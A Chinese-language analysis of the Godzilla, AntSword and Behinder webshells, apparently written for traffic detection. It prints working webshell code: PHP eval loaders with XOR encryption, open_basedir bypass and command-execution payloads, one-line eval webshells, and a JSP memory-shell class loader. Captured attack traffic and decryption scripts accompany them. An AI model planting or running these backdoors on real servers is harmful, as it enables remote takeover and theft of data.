
Godzilla
Php_Xor_encode_key
小马逆向
<?php
@session_start();
@set_time_limit(0);
@error_reportin
$D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';//这个key是你输入key的md5的前十六位
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
简单的异或对称加密
黑客传参 -> 解密后存入session -> 从session取出后执行,并且配合(md5前16位 +执行结果+ md5后16位)返回
流量分析
可以看出来这个红色部分就是哥斯拉的经典流量特征:
先抓个包
用上述函数解密:
php > echo encode(base64_decode('DlMRWA1cL1gOVDc1MjRhVDxVCV8RXQ=='),'3c6e0b8a9c15224a');
methodNameg_close
后面的也跟代码审计的一样:
木马本体
之前的是小马部分,接下来才是通过小马载入内存的大马:
暂时无法在飞书文档外展示此内容
让gpt总结一下:
会话管理
getSession(): 返回引用了全局$_SES变量的值,这是一个会话管理机制的一部分,用来在整个脚本执行期间持续追踪和管理自定义的会话数据。
数据处理和加密
S1MiwYYr(K): 使用简单的异或(XOR)操作,根据提供的密钥$K对数据$D进行加密或解密。此方法在安全性方面比较弱,易于被破解。
base64Encode($data) 和 base64Decode($string): 对数据进行Base64编码和解码。Base64编码主要用于在不支持二进制数据的场合中传输和存储数据。
系统功能的替代实现
reDefSystemFunc(): 尝试定义一些标准的PHP函数(如果它们不存在),如file_get_contents、gzdecode、sys_get_temp_dir等。这可能用在某些禁用了这些函数的环境中,作为回退机制。
文件和目录操作
newDir() 和 newFile(): 这两个函数分别用于创建新的目录和空文件。
deleteFile() 和 deleteDir($p): 删除指定的文件和目录。
copyFile() 和 moveFile(): 复制和移动文件。
getFile() 和 readFileContent(): 获取并列出目录下的文件详情,以及读取具体文件内容。
uploadFile(): 处理文件上传,保存上传的文件内容到指定位置。
命令执行
execCommand(): 可以执行系统命令。这个函数尝试多种方法来执行命令,甚至包括尝试利用shellshock漏洞。
数据库操作
execSql(): 执行SQL命令。这个函数支持多种数据库类型,并根据传入参数做相应的处理,执行数据库查询或更新。
错误和异常处理
payloadExceptionHandler($exception) 和 payloadErrorHandler($errno, $errstr, $errfile, $errline, $errcontext): 这两个函数用于自定义错误和异常处理,通过修改全局变量$ERRMSG来收集错误信息。
会话和编码处理
bypass_open_basedir(): 尝试绕过PHP的open_basedir限制。这是一种安全限制,用来限制PHP脚本只能访问指定目录内的文件。
大文件处理
bigFileDownload() 和 bigFileUpload(): 提供了大文件下载和上传的能力,特别是bigFileDownload能够按需读取文件的特定部分。
这段代码的目的显然是为了提供一个通用的远程管理工具,允许通过Web请求执行命令、操作文件系统以及执行数据库操作等。这明显是为了远程操作的需求,通常在Web Shell或类似后门中见到。这些操作可能被用于合法的管理任务,但在没有明确授权的情况下使用,则属于安全风险。
对应这些功能
Php_Xor_Eval
这个就属于常规一句话木马了
主要分析流量
相比于Php_Xor的确认,会多出一个传递加密的key的明文包:
POST /muma.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Cookie: PHPSESSID=tj46o54u26hq2t1ldim85i9vvh;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Host: 8.134.221.106
Content-type: application/x-www-form-urlencoded
Content-Length: 1263
Connection: close
pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=DlMRWA1cL1gOVDc2MjRhRwZFEQ%3D%3D
稍加解密:
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='key';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
会发现和之前的小马内容一致,之后走相同的流程就行了
特征总结
Antsword
操作代码
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)){
continue;
};
$tmdir = $item . "/.a60cc";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
};
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
}
function asenc($out) {
return $out;
}
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "7ede" . "34ca";
echo @asenc($output);
echo "9d1" . "daeb";
}
ob_start();
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") {
$D = dirname($_SERVER["PATH_TRANSLATED"]);
}
$R = "{$D} ";
if (substr($D, 0, 1) != "/") {
foreach (range("C", "Z") as $L) {
if (is_dir("{$L}:")) {
$R .= "{$L}:";
}
}
} else {
$R .= "/";
}
$R .= " ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : "";
}
会配合上另外一个参数传入:
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach ($oparr as $item) {
if (!@is_writable($item)) {
continue;
}
$tmdir = $item . "/.794af52968";
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
$tmdir = realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr = @preg_split("/\\\\|\//", $tmdir);
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
}
}
function asenc($out) {
return $out;
}
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "2c44e1" . "6e1411";
echo @asenc($output);
echo "67c3" . "ce4f";
}
ob_start();
try {
$F = base64_decode(substr($_POST["u64d7f87fc6ad5"], 2));
$P = @fopen($F, "r");
echo(@fread($P, filesize($F) ? filesize($F) : 4096));
@fclose($P);
} catch (Exception $e) {
echo "ERROR://" . $e->getMessage();
}
asoutput();
die();
?>
命令执行模块:
以输入ls为例子
//..
try {
$p = base64_decode(substr($_POST["qef16d0e6bc3d7"], 2));//执行的命令
$s = base64_decode(substr($_POST["j84fe6f2e1f386"], 2)); //这个是指定的shell
$envstr = @base64_decode(substr($_POST["u97f62ee7cd1f5"], 2));//环境变量
$d = dirname($_SERVER["SCRIPT_FILENAME"]);
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
//...
POST请求:
j84fe6f2e1f386=OgY2QgIi92YXIvd3d3L2h0bWwiO2xzO2VjaG8gNjNmMWIwM2Q2N2U7cHdkO2VjaG8gNGRjYWQ= //cd "/var/www/html";cd /;echo 63f1b03d67e;pwd;echo 4dcad
qef16d0e6bc3d7=TSL2Jpbi9zaA==///bin/sh
u97f62ee7cd1f5=Xf//无
编码器
base64
多了这样一行:
@eval(@base64_decode($_POST['wa226143c75fb4']));
chr
无非就是将代码chr编码
chr16
rot13
凯撒解密而已:
@eval(@str_rot13($_POST['k1402a3109ad1e']));
解码器:
只是加解密函数不同了,同理rot13
Behinder
先以其中的base64_xor解码为例子分析:
<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
String key="e45e329feb5d925b";
for (int i = 0; i < decodebs.length; i++) {
decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return decodebs;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容性
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>
可以看到,这里利用反序列化的方式生成了内存马。
解密代码:
<?php
$encryptedData = '';
$outputFilePath = '';
function Decrypt($data) {
// PHP 7.1+ 推荐使用 sodium_base642bin,更安全且无需担心字符集问题
$decodebs = base64_decode($data);
// PHP 中直接使用异或操作解密
$key = "e45e329feb5d925b";
$decodedLength = strlen($decodebs);
$keyLength = strlen($key);
$decryptedData = '';
for ($i = 0; $i < $decodedLength; $i++) {
// PHP 中字符串索引是从0开始的,所以需要调整索引
$decryptedData .= chr(ord($decodebs[$i]) ^ ord($key[($i + 1) & ($keyLength - 1)]));
}
return $decryptedData;
}
function decryptAndSaveFile($encryptedData, $outputFilePath)
{
$decryptedData = Decrypt($encryptedData);
// 将解密后的数据写入文件
if (file_put_contents($outputFilePath, $decryptedData) === false) {
return false; // 或者抛出异常
}
return true; // 文件保存成功
}
// 使用示例 // 解密后文件的保存路径
if (decryptAndSaveFile($encryptedData, $outputFilePath)) {
echo "文件已成功解密并保存。";
} else {
echo "文件解密或保存失败。";
}
这个是解密的流量:
暂时无法在飞书文档外展示此内容
对其class逆向,可以看到
package net.khvhht;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
/* compiled from: Echo.java */
/* loaded from: payload.class */
public class Ksucryetd {
public static String content;
public static String payloadBody;
private Object Request;
private Object Response;
private Object Session;
private byte[] Encrypt(byte[] bArr) throws Exception {
byte[] bArr2;
for (int i = 0; i < bArr.length; i++) {
bArr[i] = (byte) (bArr[i] ^ "e45e329feb5d925b".getBytes()[(i + 1) & 15]);
}
try {
Class<?> cls = Class.forName("java.util.Base64");
Object invoke = cls.getMethod("getEncoder", null).invoke(cls, null);
bArr2 = (byte[]) invoke.getClass().getMethod("encode", byte[].class).invoke(invoke, bArr);
} catch (Throwable th) {
Object newInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();
bArr2 = ((String) newInstance.getClass().getMethod("encode", byte[].class).invoke(newInstance, bArr)).replace("\n", "").replace("\r", "").getBytes();
}
return bArr2;
}
public Ksucryetd() {
content = "";
content += "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";
}
public boolean equals(Object obj) {
Map<String, String> result;
try {
result = new LinkedHashMap<>();
try {
fillContext(obj);
result.put("status", "success");
result.put("msg", content);
try {
Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
so.getClass().getMethod("write", byte[].class).invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
return true;
} catch (Exception e) {
e.printStackTrace();
return true;
}
} catch (Exception e2) {
result.put("msg", e2.getMessage());
result.put("status", "success");
try {
Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
so2.getClass().getMethod("write", byte[].class).invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));
so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);
so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);
return true;
} catch (Exception e3) {
e3.printStackTrace();
return true;
}
}
} catch (Throwable th) {
try {
Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
so3.getClass().getMethod("write", byte[].class).invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));
so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);
so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);
} catch (Exception e4) {
e4.printStackTrace();
}
throw th;
}
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
System.getProperty("java.version");
sb.append("{");
for (String key : entity.keySet()) {
sb.append("\"" + key + "\":\"");
String value = entity.get(key);
if (encode) {
value = base64encode(value.getBytes());
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
} else {
Map<String, Object> objMap = (Map) obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private String base64encode(byte[] data) throws Exception {
String result;
System.getProperty("java.version");
try {
getClass();
Class Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable th) {
getClass();
Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
result = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data)).replace("\n", "").replace("\r", "");
}
return result;
}
private byte[] getMagic() throws Exception {
int magicNum = Integer.parseInt(this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString().substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for (int i = 0; i < buf.length; i++) {
buf[i] = (byte) random.nextInt(256);
}
return buf;
}
}
这也对应了我们的抓包:
然后服务器就会回一个带有系统信息的包:
{"osInfo":"TGludXg0LjE5LjAtNS1hbWQ2NGFtZDY0","driveList":"Lzs=","localIp":"MTA0LjE2MC4xOC4yMDM=","currentPath":"L29wdC9hcGFjaGUtdG9tY2F0L2Jpbg==","arch":"YW1kNjQ=","basicInfo":"PGJyLz48Zm9udCBzaXplPTIgY29sb3I9cmVkPueOr+Wig+WPmOmHjzo8L2ZvbnQ+PGJyLz5QQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2Jpbjxici8+U0hFTEw9L2Jpbi9iYXNoPGJyLz5TU0hfVFRZPS9kZXYvcHRzLzA8YnIvPlNTSF9DTElFTlQ9MjEwLjM5LjEuOTYgMjUyNyAyMjxici8+SkRLX0pBVkFfT1BUSU9OUz0gLS1hZGQtb3BlbnM9amF2YS5iYXNlL2phdmEubGFuZz1BTEwtVU5OQU1FRCAtLWFkZC1vcGVucz1qYXZhLmJhc2UvamF2YS5pbz1BTEwtVU5OQU1FRCAtLWFkZC1vcGVucz1qYXZhLmJhc2UvamF2YS51dGlsPUFMTC1VTk5BTUVEIC0tYWRkLW9wZW5zPWphdmEuYmFzZS9qYXZhLnV0aWwuY29uY3VycmVudD1BTEwtVU5OQU1FRCAtLWFkZC1vcGVucz1qYXZhLnJtaS9zdW4ucm1pLnRyYW5zcG9ydD1BTEwtVU5OQU1FRDxici8+VEVSTT14dGVybS0yNTZjb2xvcjxici8+T0xEUFdEPS9vcHQvYXBhY2hlLXRvbWNhdDxici8+VVNFUj1yb290PGJyLz5MQU5HPWVuX1VTLlVURi04PGJyLz5EQlVTX1NFU1NJT05fQlVTX0FERFJFU1M9dW5peDpwYXRoPS9ydW4vdXNlci8wL2J1czxici8+WERHX1NFU1NJT05fSUQ9NzE0MDxici8+WERHX1NFU1NJT05fVFlQRT10dHk8YnIvPlNTSF9DT05ORUNUSU9OPTIxMC4zOS4xLjk2IDI1MjcgMTA0LjE2MC4xOC4yMDMgMjI8YnIvPk1BSUw9L3Zhci9tYWlsL3Jvb3Q8YnIvPkxPR05BTUU9cm9vdDxici8+UFdEPS9vcHQvYXBhY2hlLXRvbWNhdC9iaW48YnIvPlhER19SVU5USU1FX0RJUj0vcnVuL3VzZXIvMDxici8+SE9NRT0vcm9vdDxici8+U0hMVkw9MTxici8+WERHX1NFU1NJT05fQ0xBU1M9dXNlcjxici8+Xz0uL3N0YXJ0dXAuc2g8YnIvPjxici8+PGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5KUkXns7vnu5/lsZ7mgKc6PC9mb250Pjxici8+YXd0LnRvb2xraXQgPSBzdW4uYXd0LlgxMS5YVG9vbGtpdDxici8+amF2YS5zcGVjaWZpY2F0aW9uLnZlcnNpb24gPSAxMTxici8+c3VuLmNwdS5pc2FsaXN0ID0gPGJyLz5zdW4uam51LmVuY29kaW5nID0gVVRGLTg8YnIvPmphdmEuY2xhc3MucGF0aCA9IC9vcHQvYXBhY2hlLXRvbWNhdC9iaW4vYm9vdHN0cmFwLmphcjovb3B0L2FwYWNoZS10b21jYXQvYmluL3RvbWNhdC1qdWxpLmphcjxici8+amF2YS52bS52ZW5kb3IgPSBEZWJpYW48YnIvPnN1bi5hcmNoLmRhdGEubW9kZWwgPSA2NDxici8+amF2YS52ZW5kb3IudXJsID0gaHR0cHM6Ly90cmFja2VyLmRlYmlhbi5vcmcvb3Blbmpkay0xMTxici8+Y2F0YWxpbmEudXNlTmFtaW5nID0gdHJ1ZTxici8+dXNlci50aW1lem9uZSA9IEFtZXJpY2EvTmV3X1lvcms8YnIvPm9yZy5hcGFjaGUuZWwuR0VUX0NMQVNTTE9BREVSX1VTRV9QUklWSUxFR0VEID0gZmFsc2U8YnIvPm9zLm5hbWUgPSBMaW51eDxici8+amF2YS52bS5zcGVjaWZpY2F0aW9uLnZlcnNpb24gPSAxMTxici8+c3VuLmphdmEubGF1bmNoZXIgPSBTVU5fU1RBTkRBUkQ8YnIvPnVzZXIuY291bnRyeSA9IFVTPGJyLz5zdW4uYm9vdC5saWJyYXJ5LnBhdGggPSAvdXNyL2xpYi9qdm0vamF2YS0xMS1vcGVuamRrLWFtZDY0L2xpYjxici8+c3VuLmphdmEuY29tbWFuZCA9IG9yZy5hcGFjaGUuY2F0YWxpbmEuc3RhcnR1cC5Cb290c3RyYXAgc3RhcnQ8YnIvPmpkay5kZWJ1ZyA9IHJlbGVhc2U8YnIvPnN1bi5jcHUuZW5kaWFuID0gbGl0dGxlPGJyLz51c2VyLmhvbWUgPSAvcm9vdDxici8+dXNlci5sYW5ndWFnZSA9IGVuPGJyLz5qYXZhLnNwZWNpZmljYXRpb24udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5qYXZhLm5hbWluZy5mYWN0b3J5LnVybC5wa2dzID0gb3JnLmFwYWNoZS5uYW1pbmc8YnIvPmphdmEudmVyc2lvbi5kYXRlID0gMjAyNC0wNC0xNjxici8+amF2YS5ob21lID0gL3Vzci9saWIvanZtL2phdmEtMTEtb3Blbmpkay1hbWQ2NDxici8+aWdub3JlLmVuZG9yc2VkLmRpcnMgPSA8YnIvPmZpbGUuc2VwYXJhdG9yID0gLzxici8+amF2YS52bS5jb21wcmVzc2VkT29wc01vZGUgPSAzMi1iaXQ8YnIvPmxpbmUuc2VwYXJhdG9yID0gCjxici8+amF2YS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFBsYXRmb3JtIEFQSSBTcGVjaWZpY2F0aW9uPGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5qYXZhLmF3dC5ncmFwaGljc2VudiA9IHN1bi5hd3QuWDExR3JhcGhpY3NFbnZpcm9ubWVudDxici8+cGFja2FnZS5hY2Nlc3MgPSBzdW4uLG9yZy5hcGFjaGUuY2F0YWxpbmEuLG9yZy5hcGFjaGUuY295b3RlLixvcmcuYXBhY2hlLmphc3Blci4sb3JnLmFwYWNoZS50b21jYXQuPGJyLz5wYWNrYWdlLmRlZmluaXRpb24gPSBzdW4uLGphdmEuLG9yZy5hcGFjaGUuY2F0YWxpbmEuLG9yZy5hcGFjaGUuY295b3RlLixvcmcuYXBhY2hlLmphc3Blci4sb3JnLmFwYWNoZS5uYW1pbmcuLG9yZy5hcGFjaGUudG9tY2F0Ljxici8+amRrLnRscy5lcGhlbWVyYWxESEtleVNpemUgPSAyMDQ4PGJyLz5zZXJ2ZXIubG9hZGVyID0gPGJyLz5qYXZhLnV0aWwubG9nZ2luZ